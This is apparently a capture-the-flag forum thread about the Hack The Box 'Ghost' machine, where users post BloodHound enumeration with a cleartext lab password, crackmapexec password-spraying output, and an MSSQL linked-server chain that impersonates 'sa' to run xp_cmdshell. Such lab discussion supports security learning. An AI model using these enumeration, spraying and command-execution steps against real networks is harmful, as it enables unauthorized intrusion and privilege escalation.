[Unbutton8074]

bloodhound works with florence.ramirez without mssql server

bloodhound.py -d ghost.htb -c All -ns 10.x.x.x --zip  -u florence.ramirez -p 'uxLmt*udNc6t3HrF' --use-ldap INFO: Found AD domain: ghost.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.ghost.htb:88)] [Errno -2] Name or service not known INFO: Connecting to LDAP server: dc01.ghost.htb INFO: Found 1 domains INFO: Found 2 domains in the forest INFO: Found 2 computers INFO: Connecting to LDAP server: dc01.ghost.htb INFO: Found 16 users INFO: Found 57 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 20 containers INFO: Found 1 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: linux-dev-ws01.ghost.htb INFO: Querying computer: DC01.ghost.htb WARNING: Could not resolve: linux-dev-ws01.ghost.htb: The DNS query name does not exist: linux-dev-ws01.ghost.htb. INFO: Done in 00M 12S INFO: Compressing output into 20240714160508_bloodhound.zip

Btw do this on Release Arena machine, because my vip machine did not allow to do this

[a44857437]

bloodhound works with florence.ramirez without mssql server

bloodhound.py -d ghost.htb -c All -ns 10.x.x.x --zip  -u florence.ramirez -p 'uxLmt*udNc6t3HrF' --use-ldap INFO: Found AD domain: ghost.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.ghost.htb:88)] [Errno -2] Name or service not known INFO: Connecting to LDAP server: dc01.ghost.htb INFO: Found 1 domains INFO: Found 2 domains in the forest INFO: Found 2 computers INFO: Connecting to LDAP server: dc01.ghost.htb INFO: Found 16 users INFO: Found 57 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 20 containers INFO: Found 1 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: linux-dev-ws01.ghost.htb INFO: Querying computer: DC01.ghost.htb WARNING: Could not resolve: linux-dev-ws01.ghost.htb: The DNS query name does not exist: linux-dev-ws01.ghost.htb. INFO: Done in 00M 12S INFO: Compressing output into 20240714160508_bloodhound.zip

Btw do this on Release Arena machine, because my vip machine did not allow to do this

Same for me, my bloodhound throws DNS errors when trying to collect info from my VIP machine

[ZeetaOnline]

There must e writeUp out there... we are still stuck but lots of people are rooting the machine.. in every 10-30 mins...

[osamy7593]

First we need to enable xp_cmdshell

[Dumbdev]

does anyone know what to do once we have gotten a reverse shell?

crackmapexec smb ghost.htb -u webuser -p 'uxLmt*udNc6t3HrF' --users SMB        ghost.htb      445    DC01            [*]Windows 10.0 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False) SMB        ghost.htb      445    DC01            [-] ghost.htb\kathryn.holland:uxLmt*udNc6t3HrF STATUS_LOGON_FAILURE SMB        ghost.htb      445    DC01            [-] ghost.htb\cassandra.shelton:uxLmt*udNc6t3HrF STATUS_LOGON_FAILURE SMB        ghost.htb      445    DC01            [-] ghost.htb\robert.steeves:uxLmt*udNc6t3HrF STATUS_LOGON_FAILURE SMB        ghost.htb      445    DC01            [+] ghost.htb\florence.ramirez:uxLmt*udNc6t3HrF SMB        ghost.htb      445    DC01            [+] Enumerated domain user(s) SMB        ghost.htb      445    DC01            ghost.htb\gitea_temp_principal          badpwdcount: 1 desc: SMB        ghost.htb      445    DC01            ghost.htb\intranet_principal            badpwdcount: 0 desc: SMB        ghost.htb      445    DC01            ghost.htb\jason.taylor                  badpwdcount: 0 desc: SMB        ghost.htb      445    DC01            ghost.htb\charles.gray                  badpwdcount: 0 desc: SMB        ghost.htb      445    DC01            ghost.htb\beth.clark                    badpwdcount: 0 desc: SMB        ghost.htb      445    DC01            ghost.htb\arthur.boyd                    badpwdcount: 0 desc: SMB        ghost.htb      445    DC01            ghost.htb\justin.bradley                badpwdcount: 0 desc: SMB        ghost.htb      445    DC01            ghost.htb\florence.ramirez              badpwdcount: 0 desc: SMB        ghost.htb      445    DC01            ghost.htb\robert.steeves                badpwdcount: 1 desc: SMB        ghost.htb      445    DC01            ghost.htb\cassandra.shelton              badpwdcount: 1 desc: SMB        ghost.htb      445    DC01            ghost.htb\kathryn.holland                badpwdcount: 1 desc: SMB        ghost.htb      445    DC01            ghost.htb\krbtgt                        badpwdcount: 0 desc: Key Distribution Center Service Account SMB        ghost.htb      445    DC01            ghost.htb\Guest                          badpwdcount: 13 desc: Built-in account for guest access to the computer/domain                                                                                                                                              SMB        ghost.htb      445    DC01            ghost.htb\Administrator                  badpwdcount: 38 desc: Built-in account for administering the computer/domain

[xxxbfacc]

For those with dns errors in bloodhound. Use dnschef to create a fake nameserver on your localhost that defaults every query to the target machine's ip, then run bloodhound-python with -ns 127.0.0.1 flag.

Now someone figure out a use for florence.ramirez...

[jonah]

awk 'function hextodec(str,ret,n,i,k,c){
    ret = 0
    n = length(str)
    for (i = 1; i <= n; i++) {
        c = tolower(substr(str, i, 1))
        k = index("123456789abcdef", c)
        ret = ret * 16 + k
    }
    return ret
}
function getIP(str,ret){
    ret=hextodec(substr(str,index(str,":")-2,2));
    for (i=5; i>0; i-=2) {
        ret = ret"."hextodec(substr(str,i,2))
    }
    ret = ret":"hextodec(substr(str,index(str,":")+1,4))
    return ret
}
NR > 1 {{if(NR==2)print "Local - Remote";local=getIP($2);remote=getIP($3)}{print local" - "remote}}' /proc/net/tcp

Local - Remote
0.0.0.0:445 - 0.0.0.0:0
127.0.0.11:42859 - 0.0.0.0:0
0.0.0.0:139 - 0.0.0.0:0
0.0.0.0:22 - 0.0.0.0:0
172.18.0.2:46076 - 10.0.0.254:63523
172.18.0.2:22 - 172.18.0.3:55246
172.18.0.2:50288 - 10.0.0.254:445
172.18.0.2:45272 - 10.0.0.254:49669

[nomx1337]

smbmap returns some new files but nothing useful
mssql login with ramirez as guest but nothing useful

[Rug4lo]

do this in mssql as florence.ramirez@ghost.htb:uxLmt*udNc6t3HrF and get the shell to the windows

SQL > enum_links
SQL > use_link [PRIMARY]
SQL > use master
SQL > exec_as_login sa
SQL > xp_cmdshell "whoami"

[ZeetaOnline]

do this in mssql as florence.ramirez@ghost.htb:uxLmt*udNc6t3HrF and get the shell to the windows

SQL > enum_links
SQL > use_link [PRIMARY]
SQL > use master
SQL > exec_as_login sa
SQL > xp_cmdshell "whoami"

Amazing... I was doing without link selection..
Thanks.